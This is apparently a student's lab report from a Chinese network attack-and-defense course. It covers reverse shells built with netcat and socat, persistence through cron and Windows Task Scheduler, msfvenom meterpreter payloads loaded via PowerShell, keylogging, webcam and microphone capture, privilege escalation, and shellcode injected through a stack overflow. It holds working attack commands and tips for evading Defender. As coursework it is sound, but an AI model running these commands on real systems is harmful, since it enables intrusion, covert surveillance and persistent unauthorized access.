20242422 2026-2027-1 《网络与系统攻防技术》实验二实验报告

20242422 2026-2027-1 《网络与系统攻防技术》实验二实验报告

1. 基础知识

  1. Netcat(nc):网络工具,可实现端口监听、TCP/UDP 连接、数据传输,常用于反弹 Shell 与文件传输。Cron 是 Linux 定时任务服务,可以按照设定时间自动执行命令,可用于持久化后门。
  2. Socat:多功能双向数据转发工具,功能强于 nc,能够创建监听端口、建立反向连接,Windows 下可获取交互式 Shell。Windows 任务计划程序用于创建定时任务,实现持久化后门。
  3. 反弹 Shell:靶机主动向外发起连接,连接攻击机监听端口,将靶机命令行传递给攻击机;适合靶机在内网、防火墙限制入站连接的场景。
  4. Shellcode:原始机器码,不需要依赖文件,直接在内存执行;PowerShell 可以调用 Windows API 在内存加载 shellcode,无落地文件,隐蔽性更强。
  5. Meterpreter:Metasploit 框架的高级内存载荷,注入进程内存运行、无落地文件,提供截屏、录音、键盘记录、提权等后渗透模块。
  6. 栈溢出:程序未对输入长度进行校验,超长输入覆盖返回地址,可将执行流劫持到注入的 shellcode;实验时关闭 ASLR 便于稳定利用。
  7. 虚拟机网络模式:VMware NAT 模式,攻击机 Kali 与靶机在同一网段,保证 IP 互通。实验前需要关闭靶机防火墙,避免阻断连接。

2. 实验内容

任务 1:Linux 靶机利用 Netcat + Cron 实现反弹 Shell 与定时持久后门

  • 攻击机:Kali Linux;靶机:Linux 虚拟机
  • 实验目标:使用 netcat 建立反弹 shell;配置 cron 定时任务,实现定时自动反弹 shell 持久后门。

任务 2:Windows 靶机利用 Socat + 任务计划程序实现反弹 Shell 与持久后门

  • 攻击机:Kali Linux;靶机:Windows 虚拟机
  • 实验目标:使用 socat 获取 Windows 靶机反弹 shell;创建 Windows 计划任务,实现开机 / 定时反弹 shell 持久后门。

任务 3:PowerShell 加载 Shellcode,获取 Meterpreter 会话

  • 攻击机:Kali Linux;靶机:Windows 虚拟机
  • 实验目标:msfvenom 生成 shellcode,编写 PowerShell 脚本在内存加载 shellcode,获取 meterpreter 反弹会话。

任务 4:MSF Meterpreter 后渗透——采集音频、摄像头、击键记录并尝试提权

  • 攻击机:Kali Linux;靶机:Windows 虚拟机
  • 实验目标:使用 msfvenom 生成 Windows Meterpreter 后门,利用 ncat/socat 传送到靶机并运行获取会话;使用 Meterpreter 模块采集麦克风音频、摄像头画面、键盘击键记录,并尝试 getsystem 提权。

任务 5:MSF 生成 Shellcode 注入 pwn1 获取反弹 Shell

  • 攻击机:Kali Linux;靶机:Linux 虚拟机(运行实践1中的 pwn1 程序)
  • 实验目标:使用 msfvenom 生成 Linux 反弹 shellcode,利用 pwn1 的栈溢出漏洞将 shellcode 注入并执行,获取反弹连接 Shell。

3. 实验过程

任务 1 Netcat + Cron(Linux)

  1. 查看 IP

攻击机 Kali 执行 ip a 查看 IP;靶机 Linux 执行 ip a 查看 IP,互相 ping 测试连通性。

alt text

  1. 攻击机开启 nc 监听

nc -lvp 4444

alt text

  1. 靶机执行反弹 shell 命令

nc 攻击机IP 4444 -e /bin/bash

攻击机成功获取靶机 shell,可执行命令。

alt text

  1. 配置 Cron 定时后门(靶机)

crontab -e

添加定时规则,每分钟自动反弹 shell:

          • nc 攻击机IP 4444 -e /bin/bash

保存退出。crontab -l 查看定时任务。

alt text
alt text

  1. 验证持久后门

关闭现有 shell 连接,攻击机重新打开 nc 监听,等待 1 分钟,靶机自动反弹 shell。

alt text

  1. 实验清理

crontab -r 删除定时任务。

任务 2 Socat + Windows 任务计划程序

  1. 查看 IP

Kali 与 Windows 靶机分别查看 IP,ping 验证互通,关闭 Windows 防火墙。

alt text

  1. 攻击机 Kali 启动 socat 监听

socat TCP-LISTEN:5555,fork -

alt text

  1. Windows 靶机运行 socat 反弹程序

socat.exe TCP:攻击机IP:5555 EXEC:cmd.exe,pipes

攻击机成功拿到 Windows 的 cmd 交互式 shell。

alt text
alt text
alt text

  1. Windows 创建任务计划持久后门

打开任务计划程序,新建任务,触发器设置为计算机启动时,操作启动程序 socat.exe,参数填写反弹命令。

alt text

  1. 验证持久化

重启 Windows 虚拟机,攻击机保持 socat 监听,开机后自动反弹 shell。

alt text

  1. 实验清理

删除任务计划,关闭防火墙例外。

alt text

任务 3 PowerShell 加载 Shellcode 获取 Meterpreter 会话

  1. 前置准备:关闭 Windows Defender 实时保护(管理员 PowerShell)

Set-MpPreference -DisableRealtimeMonitoring $true

alt text

  1. Kali 使用 msfvenom 生成 64 位反弹 shellcode

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=KaliIP LPORT=4444 -f powershell

alt text

  1. Windows 靶机编写 shellcode.ps1 脚本

新建文本文档,粘贴生成的 shellcode 字节数组与加载代码,另存为 shellcode.ps1,编码 UTF-8。

alt text

  1. Kali 启动 msf 监听

msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST KaliIP
set LPORT 4444
run

alt text
alt text

  1. Windows 靶机管理员 PowerShell 执行脚本

Set-ExecutionPolicy RemoteSigned
cd Desktop
.\shellcode.ps1

  1. Kali 验证 meterpreter 会话权限

会话成功弹回后执行:

getuid
ipconfig

alt text

  1. 实验环境清理

关闭会话,删除 ps1 脚本,恢复 Defender 实时保护:

Set-MpPreference -DisableRealtimeMonitoring $false

任务 4 Meterpreter 后渗透——音频、摄像头、击键记录与提权

  1. Kali 使用 msfvenom 生成 Windows Meterpreter 后门

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=KaliIP LPORT=5555 -f exe -o backdoor.exe

  1. 利用 ncat 将后门传送到 Windows 靶机

Windows 靶机先执行接收命令:

ncat --recv-only -l 7777 > backdoor.exe

Kali 发送文件:

ncat --send-only 靶机IP 7777 < backdoor.exe

  1. Kali 启动 msf 监听,靶机运行后门获取会话

msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST KaliIP
set LPORT 5555
run

Windows 靶机运行 backdoor.exe,Kali 成功收到 Meterpreter 会话。

alt text
alt text

  1. 采集麦克风音频

record_mic -d 10

采集 10 秒音频,保存为 wav 文件。

  1. 采集摄像头画面

webcam_snap

拍摄靶机摄像头当前画面,保存为 jpg 文件。

  1. 键盘击键记录

keyscan_start

在靶机输入测试文本后,攻击机执行:

keyscan_dump
keyscan_stop

  1. 尝试提权

getuid
getsystem
getuid

提权后 getuid 返回 SYSTEM 权限。

alt text
alt text

  1. 实验环境清理

关闭会话,删除靶机上的 backdoor.exe,恢复 Defender 实时保护。

任务 5 MSF 生成 Shellcode 注入 pwn1 获取反弹 Shell

  1. 回顾实践 1 的 pwn1 漏洞,查看保护机制

pwn1 存在栈溢出漏洞,gets/read 读取过长输入可覆盖返回地址。查看保护并关闭 ASLR:

checksec ./pwn1
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

alt text

  1. Kali 使用 msfvenom 生成 Linux 反弹 shellcode

msfvenom -p linux/x64/shell_reverse_tcp LHOST=KaliIP LPORT=6666 -f c

alt text

  1. 编写 exploit 脚本构造 payload

将生成的 shellcode 字节填入缓冲区,构造 payload:NOP 滑板 + shellcode + 填充字节 + 返回地址(指向缓冲区中的 shellcode)。

  1. Kali 开启 nc 监听

nc -lvp 6666

  1. 靶机运行 pwn1,注入 payload 获取反弹 Shell

python3 exploit.py | ./pwn1

攻击机成功收到反弹 shell,执行 whoami、id 验证。

alt text
alt text

  1. 实验环境清理

关闭连接,恢复 ASLR,删除 exploit 脚本。

4. 问题及解决方案

  • 问题 1:Netcat 反弹 shell 没有回显,命令输入无反应。
  • 问题 1 解决方案:使用带 - e 参数支持的 GNU netcat 版本;检查靶机与攻击机网络连通,确认防火墙放行端口。
  • 问题 2:Cron 定时任务不自动反弹。
  • 问题 2 解决方案:检查 crontab 语法;确认靶机 nc 路径;验证靶机可以访问攻击机 IP 端口。
  • 问题 3:Windows 执行 socat 反弹失败,连接超时。
  • 问题 3 解决方案:关闭 Windows 防火墙;确认 socat 版本匹配系统位数;IP 地址填写攻击机真实 IP。
  • 问题 4:Windows 任务计划重启后不自动运行。
  • 问题 4 解决方案:任务勾选 “不管用户是否登录都要运行”,使用管理员权限运行。
  • 问题 5:MSF 输入 run 提示 unknown command。
  • 问题 5 解决方案:use 命令必须单独一行执行,等待提示符切换为 msf6 exploit(multi/handler) > 后,再执行 run。
  • 问题 6:Meterpreter 后门 exe 被 Windows Defender 查杀,或靶机运行后 Kali 无法收到会话。
  • 问题 6 解决方案:关闭 Windows Defender 实时保护或添加白名单;确认后门 LHOST/LPORT 与 handler 配置一致;必要时改用 reverse_https 载荷绕过检测。
  • 问题 7:getsystem 提权失败,getuid 仍为普通用户。
  • 问题 7 解决方案:确保 meterpreter 会话所在进程具备管理员权限(SeDebugPrivilege);若为普通权限,先使用 exploit/windows/local/bypassuac 等模块提权。
  • 问题 8:webcam_snap、record_mic 无画面或无声音。
  • 问题 8 解决方案:在 VMware 虚拟机设置中将摄像头、麦克风等设备连接到虚拟机;确认靶机系统已正确识别设备。
  • 问题 9:shellcode 注入 pwn1 后程序段错误或未反弹。
  • 问题 9 解决方案:确认 shellcode 位数与 pwn1 架构一致;关闭 ASLR;用 gdb 调试确定正确的偏移量与返回地址,确保返回地址指向 shellcode。

5. 学习感悟、思考等

本次实验通过 Netcat、Socat 工具完成反弹 Shell,并且利用 Linux cron、Windows 任务计划实现持久化后门。我理解了反弹 Shell 的原理,明白了持久化后门的危害。

反弹 Shell 是内网渗透常用手段,靶机主动外连可以绕过防火墙入站策略。定时持久化可以在靶机重启后持续维持权限。PowerShell 内存加载 shellcode 不需要落地文件,隐蔽性更强,是攻防中常见的攻击手段。

同时认识到系统自带的定时组件(Cron、任务计划程序)如果被恶意利用会带来严重安全风险,日常运维应当检查定时任务,及时清理未知任务,做好主机安全防护。

在任务 4 中,我使用 Meterpreter 成功采集了靶机的麦克风音频、摄像头画面与击键记录,并理解了 getsystem 提权的原理。这些功能展示了攻击者获取权限后可能造成的严重危害,也让我认识到端点行为检测与外设权限管理的重要性。任务 5 通过 MSF 生成 shellcode 注入 pwn1,将实践 1 的栈溢出漏洞与反弹 shell 结合起来,真正理解了 shellcode 的执行过程——漏洞只是入口,配合 shellcode 才能实现任意代码执行。

参考资料

posted @ 2026-10-18 17:25  20242422liuxiang  阅读(7)  评论(0)    收藏  举报